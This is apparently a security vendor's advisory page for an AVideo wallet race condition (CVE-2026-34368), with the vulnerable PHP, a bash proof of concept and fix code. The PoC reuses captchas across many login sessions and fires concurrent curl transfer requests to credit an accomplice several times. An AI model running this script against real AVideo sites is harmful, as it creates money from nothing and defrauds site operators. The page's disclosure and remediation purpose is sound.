Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐘
🐘 Packagist
Not in CISA KEV
MEDIUM severity

GHSA-h54m-c522-h6qr wwbn/avideo

MEDIUMFix: WWBN/AVideo@34132ad

GHSA-h54m-c522-h6qr is a medium-severity (CVSS 5.3) CWE-362 vulnerability in wwbn/avideo. No vendor fix is recorded yet; mitigation options are listed below.

AVideo Vulnerable to Wallet Balance Double-Spend via TOCTOU Race Condition in transferBalance

Also known asCVE-2026-34368
Published
Mar 30, 2026
Updated
Mar 30, 2026
Affected
1 pkg
Patched
See advisory
Exploits
None indexed
Exploitation data as of Sep 19, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for GHSA-h54m-c522-h6qr.

EPSS Exploitation Probability

via FIRST.org ↗
0.2%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs14th percentile — riskier than 14% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

GHSA-h54m-c522-h6qr plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 377,238 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected
🐘wwbn/avideo

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The transferBalance() method in plugin/YPTWallet/YPTWallet.php contains a Time-of-Check-Time-of-Use (TOCTOU) race condition. The method reads the sender's wallet balance, checks sufficiency in PHP, then writes the new balance — all without database transactions or row-level locking. An attacker with multiple authenticated sessions can send concurrent transfer requests that all read the same stale balance, each passing the balance check independently, resulting in only one deduction being applied while the recipient is credited multiple times.

Details

The vulnerable code path in plugin/YPTWallet/YPTWallet.php:450-517:

// Line 473-474: READ - fetch current balance (plain SELECT, no FOR UPDATE)
$senderWallet = self::getWallet($fromUserId);
$senderBalance = $senderWallet->getBalance();
$senderNewBalance = $senderBalance - $amount;

// Line 477: CHECK - verify sufficient funds in PHP
if ($senderNewBalance < 0) {
    return false;
}

// Line 486-487: WRITE - set new balance (plain UPDATE)
$senderWallet->setBalance($senderNewBalance);
$senderWalletId = $senderWallet->save();

// Line 497-502: Credit receiver (also plain SELECT + UPDATE)
$receiverWallet = self::getWallet($toUserId);
$receiverBalance = $receiverWallet->getBalance();
$receiverNewBalance = $receiverBalance + $amount;
$receiverWallet->setBalance($receiverNewBalance);
$receiverWalletId = $receiverWallet->save();

The getWallet() method (YPTWallet.php:244) calls Wallet::getFromUser() (Wallet.php:69-84) which executes a plain SELECT * FROM wallet WHERE users_id = $users_id with no FOR UPDATE clause. The save() method (Wallet.php:105) calls ObjectYPT::save() (Object.php:293) which executes a plain UPDATE — no transaction wrapping.

Race window: Between the SELECT (step 1) and UPDATE (step 3), all concurrent requests see the same original balance. Each independently computes original - amount, passes the check, and writes back. The last writer wins for the sender (only one deduction effective), but the receiver gets credited once per request.

Why concurrent requests succeed: PHP's file-based session locking serializes requests per session. However, an attacker can create multiple login sessions (different PHPSESSID cookies) for the same user account. Each session has its own lock and can execute concurrently. Each session needs its own captcha, but the captcha validation in objects/captcha.php:58-73 compares $_SESSION['palavra'] without unsetting it after validation, allowing unlimited reuse within each session.

Entry point: plugin/YPTWallet/view/transferFunds.json.php:39 calls YPTWallet::transferBalance(User::getId(), $_POST['users_id'], $_POST['value']) — requires only User::isLogged() and a valid captcha.

PoC

# Prerequisites: Attacker has a registered account with $10 wallet balance
# Accomplice has a registered account (recipient)

TARGET="https://target-avideo-instance"
ACCOMPLICE_ID=123  # recipient user ID

# Step 1: Create 5 independent sessions for the same attacker account
declare -a SESSIONS
declare -a CAPTCHA_ANSWERS

for i in $(seq 1 5); do
  # Login and capture session cookie
  COOKIE=$(curl -s -c - "$TARGET/objects/login.json.php" \
    -d 'user=attacker&pass=attackerpass' | grep PHPSESSID | awk '{print $NF}')
  
  # Load captcha to populate $_SESSION['palavra']
  curl -s -b "PHPSESSID=$COOKIE" "$TARGET/objects/captcha.php" -o "captcha_$i.png"
  
  SESSIONS[$i]=$COOKIE
  echo "Session $i: $COOKIE — solve captcha_$i.png manually"
done

# Step 2: After solving captchas, fire all 5 transfer requests simultaneously
# Each requests $10 transfer — all will read balance=$10 concurrently
for i in $(seq 1 5); do
  curl -s -b "PHPSESSID=${SESSIONS[$i]}" \
    "$TARGET/plugin/YPTWallet/view/transferFunds.json.php" \
    -d "users_id=$ACCOMPLICE_ID&value=10&captcha=${CAPTCHA_ANSWERS[$i]}" &
done
wait

# Expected result:
# - Attacker balance: $0 (last write wins, sets balance to 10-10=0)
# - Accomplice balance: credited $10 x N successful races (up to $50)
# - Net money created from nothing: up to $40

Impact

An authenticated attacker can exploit this race condition to:

  • Create wallet balance from nothing: With a $10 balance and N concurrent requests, the recipient can receive up to $10×N while the sender only loses $10.
  • Bypass pay-per-view charges: Inflate wallet balance, then purchase paid content without real payment.
  • Bypass subscription fees: Use inflated balance to purchase subscriptions.
  • Financial integrity compromise: The wallet ledger becomes inconsistent — total balances across all users no longer match total deposits.

The attack requires solving one captcha per session (captchas are reusable within a session), creating multiple login sessions, and timing concurrent requests — achievable with basic scripting.

Recommended Fix

Replace the read-check-write pattern with an atomic database operation using a transaction and row-level locking:

public static function transferBalance($fromUserId, $toUserId, $amount, $customDescription = "", $forceTransfer = false)
{
    global $global;
    
    // ... existing auth and validation checks ...
    
    $amount = floatval($amount);
    if ($amount <= 0) {
        return false;
    }

    // Use a database transaction with row-level locking
    $global['mysqli']->autocommit(false);
    $global['mysqli']->begin_transaction();
    
    try {
        // Lock sender row and read balance atomically
        $sql = "SELECT id, balance FROM wallet WHERE users_id = ? FOR UPDATE";
        $stmt = $global['mysqli']->prepare($sql);
        $stmt->bind_param("i", $fromUserId);
        $stmt->execute();
        $result = $stmt->get_result();
        $senderRow = $result->fetch_assoc();
        $stmt->close();
        
        if (empty($senderRow)) {
            $global['mysqli']->rollback();
            return false;
        }
        
        $senderBalance = floatval($senderRow['balance']);
        $senderNewBalance = $senderBalance - $amount;
        
        if ($senderNewBalance < 0) {
            $global['mysqli']->rollback();
            return false;
        }
        
        // Atomic deduction
        $sql = "UPDATE wallet SET balance = ? WHERE id = ? AND balance >= ?";
        $stmt = $global['mysqli']->prepare($sql);
        $stmt->bind_param("did", $senderNewBalance, $senderRow['id'], $amount);
        $stmt->execute();
        
        if ($stmt->affected_rows === 0) {
            $global['mysqli']->rollback();
            $stmt->close();
            return false;
        }
        $stmt->close();
        
        // Credit receiver (also locked)
        $sql = "SELECT id, balance FROM wallet WHERE users_id = ? FOR UPDATE";
        $stmt = $global['mysqli']->prepare($sql);
        $stmt->bind_param("i", $toUserId);
        $stmt->execute();
        $result = $stmt->get_result();
        $receiverRow = $result->fetch_assoc();
        $stmt->close();
        
        $receiverNewBalance = floatval($receiverRow['balance']) + $amount;
        $sql = "UPDATE wallet SET balance = ? WHERE id = ?";
        $stmt = $global['mysqli']->prepare($sql);
        $stmt->bind_param("di", $receiverNewBalance, $receiverRow['id']);
        $stmt->execute();
        $stmt->close();
        
        $global['mysqli']->commit();
        
        // ... log entries ...
        
    } catch (Exception $e) {
        $global['mysqli']->rollback();
        return false;
    } finally {
        $global['mysqli']->autocommit(true);
    }
}

Additionally, fix the captcha reuse issue in objects/captcha.php:58-73 by unsetting $_SESSION['palavra'] after successful validation:

public static function validation($word)
{
    // ... existing checks ...
    $validation = (strcasecmp($word, $_SESSION["palavra"]) == 0);
    if ($validation) {
        unset($_SESSION["palavra"]); // Consume the captcha token
    }
    return $validation;
}

Affected Packages

1 total
EcosystemPackageVulnerable rangeFix
🐘Packagistwwbn/avideoall versionsNo fix

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for wwbn/avideo, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Remediation status

    No patched version of wwbn/avideo has shipped for GHSA-h54m-c522-h6qr yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.

  3. Mitigate without a patch

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-h54m-c522-h6qr can be triaged on real exposure rather than presence alone.

Tailored to GHSA-h54m-c522-h6qr. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Summary The `transferBalance()` method in `plugin/YPTWallet/YPTWallet.php` contains a Time-of-Check-Time-of-Use (TOCTOU) race condition. The method reads the sender's wallet balance, checks sufficiency in PHP, then writes the new balance — all without database transactions or row-level locking. An attacker with multiple authenticated sessions can send concurrent transfer requests that all read the same stale balance, each passing the balance check independently, resulting in only one deduction being applied while the recipient is credited multiple times. ## Details The vulnerable code pa
O3 Security · Impact-Aware SCA

Is GHSA-h54m-c522-h6qr in your dependencies?

O3 Security finds GHSA-h54m-c522-h6qr across Packagist dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

GHSA-h54m-c522-h6qr: wwbn/avideo | O3 Security